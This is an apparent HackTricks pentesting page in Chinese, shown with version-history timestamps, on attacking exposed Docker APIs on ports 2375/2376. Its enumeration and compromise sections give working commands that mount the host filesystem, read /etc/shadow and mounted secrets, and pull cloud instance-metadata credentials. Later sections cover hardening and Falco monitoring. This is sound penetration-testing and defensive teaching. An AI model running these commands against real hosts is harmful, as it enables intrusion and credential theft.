hacktricks/network-services-pentesting/2375-pentesting-docker.md

326 lines
20 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
</details>
## Docker基础知识
2022-04-28 16:01:33 +00:00
### 什么是
2020-12-31 10:32:10 +00:00
Docker是**容器化行业**中的**前沿平台**,引领**持续创新**。它便于轻松创建和分发应用程序,涵盖**传统到未来**的范围,并确保它们在不同环境中的**安全部署**。
2020-12-31 10:32:10 +00:00
### 基本Docker架构
2020-12-31 16:40:45 +00:00
- **[containerd](http://containerd.io)**: 这是容器的**核心运行时**,负责全面**管理容器的生命周期**。这包括处理**镜像传输和存储**,以及监视和网络化容器的**执行**。对containerd的**更详细见解**将进一步探讨。
- **容器shim**在处理**无头容器**时发挥关键作用,它在容器初始化后无缝接管**runc**的任务。
- **[runc](http://runc.io)**: 以其**轻量级和通用容器运行时**功能而闻名runc符合**OCI标准**。它由containerd用于根据**OCI指南**启动和管理容器,从最初的**libcontainer**发展而来。
- **[grpc](http://www.grpc.io)**对于在containerd和**docker-engine**之间**促进通信**至关重要,确保**高效互动**。
- **[OCI](https://www.opencontainers.org)**对于维护运行时和镜像的**OCI规范**至关重要最新的Docker版本符合**OCI镜像和运行时**标准。
2020-12-31 16:40:45 +00:00
2023-08-03 19:12:22 +00:00
### 基本命令
2020-12-31 10:32:10 +00:00
```bash
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
2021-01-03 12:04:12 +00:00
docker save -o ubuntu.tar <image> #Export an image
2020-12-31 10:32:10 +00:00
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
```
2022-05-01 13:25:53 +00:00
### Containerd
2020-12-31 10:32:10 +00:00
**Containerd**是专门为像**Docker和Kubernetes**等容器平台的需求而开发的。它旨在通过抽象操作系统特定功能和系统调用简化在各种操作系统包括Linux、Windows、Solaris等上执行容器的过程。Containerd的目标是仅包含其用户所需的基本功能努力省略不必要的组件。然而完全实现这一目标被认为是具有挑战性的。
一个关键的设计决定是**Containerd不处理网络**。网络被认为是分布式系统中的一个关键元素具有诸如软件定义网络SDN和服务发现等复杂性这些复杂性在不同平台之间差异很大。因此Containerd将网络方面的处理留给了它支持的平台来管理。
2020-12-31 10:32:10 +00:00
虽然**Docker利用Containerd**来运行容器但重要的是要注意Containerd仅支持Docker功能的子集。具体来说Containerd缺乏Docker中存在的网络管理功能并且不直接支持创建Docker swarms。这种区别突显了Containerd作为容器运行时环境的专注角色将更专业化的功能委托给其集成的平台。
2020-12-31 10:32:10 +00:00
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
2023-08-03 19:12:22 +00:00
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
2020-12-31 10:32:10 +00:00
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
```
2022-05-01 13:25:53 +00:00
### Podman
2020-12-31 15:36:23 +00:00
**Podman** 是一个遵循[Open Container Initiative (OCI) 标准](https://github.com/opencontainers)的开源容器引擎,由 Red Hat 开发和维护。它与 Docker 有几个明显的特点,尤其是其**无守护程序架构**和对**无根容器**的支持,使用户能够在无需 root 权限的情况下运行容器。
2020-12-31 15:36:23 +00:00
Podman 的设计旨在与 Docker 的 API 兼容,允许使用 Docker CLI 命令。这种兼容性延伸到其生态系统,其中包括诸如**Buildah**用于构建容器镜像和**Skopeo**用于推送、拉取和检查镜像等操作的工具。有关这些工具的更多详细信息,请参阅它们的[GitHub 页面](https://github.com/containers/buildah/tree/master/docs/containertools)。
2020-12-31 15:36:23 +00:00
2023-08-03 19:12:22 +00:00
**主要区别**
2020-12-31 15:36:23 +00:00
- **架构**:与 Docker 的客户端-服务器模型及后台守护程序不同Podman 在没有守护程序的情况下运行。这种设计意味着容器以启动它们的用户的权限运行,通过消除对 root 访问的需求来增强安全性。
- **Systemd 集成**Podman 与 **systemd** 集成以管理容器,允许通过 systemd 单元进行容器管理。这与 Docker 主要用于管理 Docker 守护程序进程的 systemd 的用法形成对比。
- **无根容器**Podman 的一个关键特点是其能够在启动用户的权限下运行容器。这种方法通过确保攻击者仅获得受损用户的权限而不是 root 访问权限,最小化了与容器入侵相关的风险。
2020-12-31 15:36:23 +00:00
Podman 的方法为 Docker 提供了一个安全灵活的替代方案,强调用户权限管理和与现有 Docker 工作流的兼容性。
2020-12-31 15:36:23 +00:00
{% hint style="info" %}
请注意,由于 Podman 旨在支持与 Docker 相同的 API因此您可以像在 Docker 中一样使用 Podman例如
2020-12-31 15:36:23 +00:00
```bash
podman --version
podman info
pdoman images ls
podman ls
```
{% endhint %}
2023-08-03 19:12:22 +00:00
## 基本信息
2020-12-15 09:18:43 +00:00
当启用时,远程 API 默认在 2375 端口上运行。默认情况下,该服务不需要身份验证,允许攻击者启动一个特权的 Docker 容器。通过使用远程 API可以将主机/(根目录)附加到容器,并读取/写入主机环境中的文件。
**默认端口:** 2375
```
2020-12-15 09:18:43 +00:00
PORT STATE SERVICE
2375/tcp open docker
```
2023-08-03 19:12:22 +00:00
## 枚举
2020-12-15 09:18:43 +00:00
2023-08-03 19:12:22 +00:00
### 手动
2020-12-31 16:14:52 +00:00
请注意为了枚举Docker API您可以使用`docker`命令或`curl`,就像下面的示例中所示:
2020-12-31 16:14:52 +00:00
```bash
#Using curl
2020-12-31 16:14:52 +00:00
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
2023-08-03 19:12:22 +00:00
Version: 19.03.1
API version: 1.40
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:21:05 2019
OS/Arch: linux/amd64
Experimental: false
Server: Docker Engine - Community
2023-08-03 19:12:22 +00:00
Engine:
Version: 19.03.1
API version: 1.40 (minimum version 1.12)
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:19:41 2019
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.2.6
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version: 1.0.0-rc8
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version: 0.18.0
GitCommit: fec3683
2020-12-31 16:14:52 +00:00
```
如果您可以使用`docker`命令**联系远程docker API**,则可以**执行**任何[**先前注释的docker命令**](2375-pentesting-docker.md#basic-commands)来与服务进行交互。
2020-12-31 16:14:52 +00:00
{% hint style="info" %}
您可以`export DOCKER_HOST="tcp://localhost:2375"`**避免**在docker命令中使用`-H`参数
{% endhint %}
2023-08-03 19:12:22 +00:00
#### 快速提权
```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
2022-05-01 13:25:53 +00:00
#### Curl
2020-12-31 16:14:52 +00:00
有时你会看到 **2376** 端口用于 **TLS** 终端。我无法用 docker 客户端连接到它,但可以使用 curl 连接。
2020-12-31 16:14:52 +00:00
```bash
#List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, its also worth checking out services in case they are adding secrets via environment variables)
curl -s insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
```
如果您想获取更多信息,请查看我复制命令的地方:[https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
2020-12-31 16:14:52 +00:00
2023-08-03 19:12:22 +00:00
### 自动化
2020-12-15 09:18:43 +00:00
```bash
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
```
## Compromising
2020-12-15 09:18:43 +00:00
在以下页面,您可以找到**从 Docker 容器中逃脱**的方法:
2020-12-31 15:47:59 +00:00
{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %}
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
{% endcontent-ref %}
2020-12-31 15:47:59 +00:00
滥用这一点,可以从容器中逃脱,您可以在远程机器上运行一个弱容器,从中逃脱,并威胁到该机器:
2020-12-15 09:18:43 +00:00
```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
```
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
2023-08-03 19:12:22 +00:00
## 提权
2020-12-31 16:16:16 +00:00
如果您在使用 Docker 的主机内部,您可以[**阅读此信息尝试提升权限**](../linux-hardening/privilege-escalation/#writable-docker-socket)。
2021-04-28 23:33:12 +00:00
## 在运行中的 Docker 容器中发现秘密
2021-04-28 23:33:12 +00:00
```bash
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
```
检查**env**(环境变量部分)以查找秘密信息,可能会发现:
2021-04-28 23:33:12 +00:00
- 密码。
- IP地址。
- 端口。
- 路径。
- 其他… 。
2021-04-28 23:33:12 +00:00
如果要提取文件:
2021-04-28 23:33:12 +00:00
```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01>
```
2023-08-03 19:12:22 +00:00
## 保护您的Docker
2021-04-28 23:33:12 +00:00
### 保护Docker安装和使用
2021-01-04 12:13:07 +00:00
2023-08-03 19:12:22 +00:00
* 您可以使用工具[https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security)来检查您当前的Docker安装。
* `./docker-bench-security.sh`
* 您可以使用工具[https://github.com/kost/dockscan](https://github.com/kost/dockscan)来检查您当前的Docker安装。
* `dockscan -v unix:///var/run/docker.sock`
* 您可以使用工具[https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)来查看在不同安全选项下运行容器时容器将具有的特权。这对于了解使用某些安全选项运行容器的影响很有用:
2023-08-03 19:12:22 +00:00
* `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
2021-01-04 12:13:07 +00:00
2023-08-03 19:12:22 +00:00
### 保护Docker镜像
2021-01-04 12:13:07 +00:00
* 您可以使用[https://github.com/quay/clair](https://github.com/quay/clair)的Docker镜像来扫描您的其他Docker镜像并查找漏洞。
2023-08-03 19:12:22 +00:00
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
2021-01-04 12:13:07 +00:00
2023-08-03 19:12:22 +00:00
### 保护Dockerfiles
* 您可以使用工具[https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter)来**检查您的Dockerfile**并找到各种配置错误。每个配置错误都将被赋予一个ID您可以在[https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md)找到如何修复每个错误。
2023-08-03 19:12:22 +00:00
* `dockerfilelinter -f Dockerfile`
![](<../.gitbook/assets/image (418).png>)
2023-08-03 19:12:22 +00:00
* 您可以使用工具[https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint)来**检查您的Dockerfile**并找到各种配置错误。
* `dockerfilelint Dockerfile`
![](<../.gitbook/assets/image (419).png>)
2023-08-03 19:12:22 +00:00
* 您可以使用工具[https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint)来**检查您的Dockerfile**并找到各种配置错误。
* `dockerlint Dockerfile`
![](<../.gitbook/assets/image (420).png>)
2023-08-03 19:12:22 +00:00
* 您可以使用工具[https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint)来**检查您的Dockerfile**并找到各种配置错误。
* `hadolint Dockerfile`
![](<../.gitbook/assets/image (421).png>)
2023-08-03 19:12:22 +00:00
### 记录可疑活动
2021-01-04 12:13:07 +00:00
* 您可以使用工具[https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)来检测**运行容器中的可疑行为**。
* 请注意下面的代码块中**Falco如何编译内核模块并插入**。之后,它加载规则并**开始记录可疑活动**。在这种情况下它检测到启动了2个特权容器其中一个带有敏感挂载点几秒钟后检测到一个容器内打开了一个shell。
```bash
2021-01-04 12:13:07 +00:00
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco
Kernel preparation unnecessary for this kernel. Skipping...
Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......
DKMS: build completed.
falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
2023-08-03 19:12:22 +00:00
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
2021-01-04 12:13:07 +00:00
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
depmod...
DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
```
### 监控 Docker
2021-01-04 12:13:07 +00:00
您可以使用 auditd 来监控 Docker。
2022-04-28 16:01:33 +00:00
## 参考
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)